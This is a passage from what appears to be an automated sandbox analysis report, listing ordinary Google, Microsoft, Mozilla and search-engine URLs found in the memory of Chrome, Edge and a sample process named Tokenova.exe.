Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.2425514730.000013440009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427452449.00001344003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430001575.0000134400ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000003.00000002.2425154650.000013440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430001575.0000134400ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout%
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000003.00000002.2425556475.00001344000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000003.00000002.2425556475.00001344000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000003.00000002.2425556475.00001344000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000003.00000002.2425514730.000013440009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000003.00000002.2427452449.00001344003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430001575.0000134400ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.comD
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000006.00000002.2543556290.000002541756A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, ct00zu.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427864994.0000134400550000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2357934090.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2546014020.0000199C0017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428979331.0000134400854000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429606534.00001344009CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000002.2428979331.0000134400854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enczD
Source: chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreD
Source: chrome.exe, 00000003.00000003.2353878624.0000134400C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354328820.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362358231.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2355331752.0000134400C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430610937.0000134400C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358977389.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2351702923.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359818960.0000134400328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2353991535.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431810799.0000134400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2353878624.0000134400C6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357934090.0000134400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000003.00000002.2425154650.000013440001C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2546014020.0000199C0017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g%
Source: chrome.exe, 00000003.00000003.2338621330.000034C0002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2338635256.000034C0002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000002.2425154650.0000134400037000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428328008.00001344006A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2544212467.0000199C00040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000003.00000002.2431459251.0000134400E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428564617.0000134400728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000003.00000002.2429882957.0000134400A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.goog
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.googl0
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
